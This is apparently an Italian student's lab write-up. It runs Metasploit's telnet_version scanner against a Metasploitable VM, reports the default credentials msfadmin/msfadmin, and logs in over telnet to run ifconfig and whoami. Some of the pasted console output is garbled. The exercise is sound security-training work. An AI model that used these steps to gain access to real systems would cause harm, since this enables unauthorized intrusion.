ESERCIZIO S7L2

Traccia: Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable. Requisito: Seguire gli step visti in lezione teorica.

Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

SVOLGIMENTO

Come prima cosa, come richiesto dall'esercizio si vanno a configurare gli indirizzi IP di Kali e Meta diversamente da come erano impostati precedentemente.

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 192.168.1.25 netmask 255.255.255.0 broadcast 192.168.1.255
       inet6 fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0×20<link>
       ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)
       RX packets 177 bytes 20003 (19.5 KiB)
       RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 132 bytes 10410 (10.1 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
       inet6 ::1 prefixlen 128 scopeid 0×10<host>
       loop txqueuelen 1000 (Local Loopback)
       RX packets 4 bytes 240 (240.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 4 bytes 240 (240.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Dopo aver avviato la console di Metasploit con il comando **msfconsole**, si va a cercare il modulo auxiliary telnet version con il comando **search telnet**.

msf6 >			
msf6 > search telnet			
Matching Modules			
			4
# Name	Disclosure Date	Rank	Check
escription			2 <u>(200</u> 2)
<pre>0 exploit/linux/misc/asus_infosvr_auth_bypass_exec</pre>	2015-01-04	excellent	No
SUS infosvr Auth Bypass Command Execution			
<pre>1 exploit/linux/http/asuswrt_lan_rce</pre>	2018-01-22	excellent	No
susWRT LAN Unauthenticated Remote Code Execution 2 auxiliary/server/capture/telnet		normal	No
uthentication Capture: Telnet		HOTHIAL	NO
3 auxiliary/scanner/telnet/brocade_enable_login		normal	No
rocade Enable Login Check Scanner			
<pre>4 exploit/windows/proxy/ccproxy_telnet_ping</pre>	2004-11-11	average	Yes
CProxy Telnet Proxy Ping Overflow	2047 22 47		
5 auxiliary/dos/cisco/ios_telnet_rocem isco IOS Telnet Denial of Service	2017-03-17	normal	No
6 auxiliary/admin/http/dlink dir 300 600 exec noauth	2013-02-04	normal	No
-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution			
7 exploit/linux/http/dlink_diagnostic_exec_noauth	2013-03-05		No
-Link DIR-645 / DIR-815 diagnostic.php Command Execution			
<pre>8 exploit/linux/http/dlink_dir300_exec_telnet -Link Devices Unauthenticated Remote Command Execution</pre>	2013-04-22	excellent	No
9 exploit/unix/webapp/dogfood_spell_exec	2009-03-03	excellent	Voc
ogfood CRM spell.php Remote Command Execution	2009 03 03		163
10 exploit/freebsd/telnet/telnet_encrypt_keyid	2011-12-23	great	No
reeBSD Telnet Service Encryption Key ID Buffer Overflow			
11 exploit/windows/telnet/gamsoft_telsrv_username	2000-07-17	average	Yes
AMSoft TelSrv 1.5 Username Buffer Overflow 12 exploit/windows/telnet/goodtech telnet	2005-03-15		No
oodTech Telnet Server Buffer Overflow	2005-03-15	average	NO
13 exploit/linux/misc/hp_jetdirect_path_traversal	2017-04-05	normal	No
P Jetdirect Path Traversal Arbitrary Code Execution			17/14
14 exploit/linux/http/huawei_hg532n_cmdinject	2017-04-15	excellent	Yes
uawei HG532n Command Injection	Acceptance of the second		W
<pre>15 exploit/linux/misc/igel_command_injection</pre>	2021-02-25	excellent	Yes

Individuato il modulo giusto lo utilizziamo con il comando **use auxiliary/scanner/telnet/telnet_version**.

Si controllano le opzioni necessarie per lanciare l'attacco con il comando **show options**. Si nota di dover settare RHOSTS, ovvero l'indirizzo target dove è in esecuzione il servizio telnet. Tutti gli altri parametri necessari sono già configurati di default.

Con il comando set RHOSTS settiamo l'indirizzo IP di Meta, ovvvero 192.168.1.40

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(
                                            ) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
             Current Setting Required Description
   PASSWORD
                                        The password for the specified username
   RHOSTS
                                        The target host(s), see https://docs.metasploit.com/docs/using-metas
                                        ploit/basics/using-metasploit.html
   RPORT
                                        The target port (TCP)
                              yes
   THREADS
                                        The number of concurrent threads (max one per host)
   TIMEOUT
                                        Timeout for the Telnet probe
                              yes
                                        The username to authenticate as
   USERNAME
View the full module info with the info, or info -d command.
                                           on) > set RHOSTS 192.168.1.40
msf6 auxiliary(
RHOSTS ⇒ 192.168.1.40
                                           on) > show options
<u>msf6</u> auxiliary(
Module options (auxiliary/scanner/telnet/telnet_version):
             Current Setting Required Description
   PASSWORD
                                        The password for the specified username
                              no
                                        The target host(s), see https://docs.metasploit.com/docs/using-metas
   RHOSTS
             192.168.1.40
                                        ploit/basics/using-metasploit.html
                                        The target port (TCP)
                              yes
   THREADS
                                        The number of concurrent threads (max one per host)
                              ves
   TIMEOUT
                                        Timeout for the Telnet probe
             30
                              ves
   USERNAME
                                        The username to authenticate as
View the full module info with the info, or info -d command.
```

Per il modulo scelto non c'è bisogno di specificare un payload, come si nota dall'output del comando <show options> in cui si vede che non è specificata nessuna opzione per il payload. Si può quindi eseguire l'attacco con il comando **exploit**.

Il modulo ha recuperato i dati di login del servizio, come vedete nel rettangolo in rosso in figura. Ci sta dicendo che le credenziali da utilizzare sono username: «msfadmin», password «msfadmin».

Per verificare la correttezza delle informazioni, si fa un test. Si esegue da Metasploit il comando **telnet** seguito dall'ip della macchina Metasploitable.

```
<u>msf6</u> auxiliary(
                                             ) > telnet 192.168.1.40
 [*] exec: telnet 192.168.1.40
Trying 192.168.1.40...
Connected to 192.168.1.40.
Escape character is
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Wed May 22 10:18:55 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
```

Il servizio richiede una login. Si prova con le informazioni che ha restituito Metasploit, quindi username «msfadmin», password «msfadmin» per confermare che l'attacco ha avuto effettivamente successo e la vulnerabilità del servizio Telnet è stata sfruttata correttamente, in quanto abbiamo ottenuto accesso non autorizzato alla macchina. Per verificare l'effettività dell'attacco proviamo un paio di comandi come **ifconfig** e **whoami** per assicurarci di essere nella macchina target.

```
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ ifconfig
          Link encap:Ethernet HWaddr 08:00:27:76:1a:f6
          inet addr:192.168.1.40 Bcast:192.168.1.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe76:1af6/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:80 errors:0 dropped:0 overruns:0 frame:0
          TX packets:154 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5904 (5.7 KB) TX bytes:14581 (14.2 KB)
Base address:0×d020 Memory:f0200000-f0220000
lo
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:142 errors:0 dropped:0 overruns:0 frame:0
          TX packets:142 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:35837 (34.9 KB) TX bytes:35837 (34.9 KB)
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$
```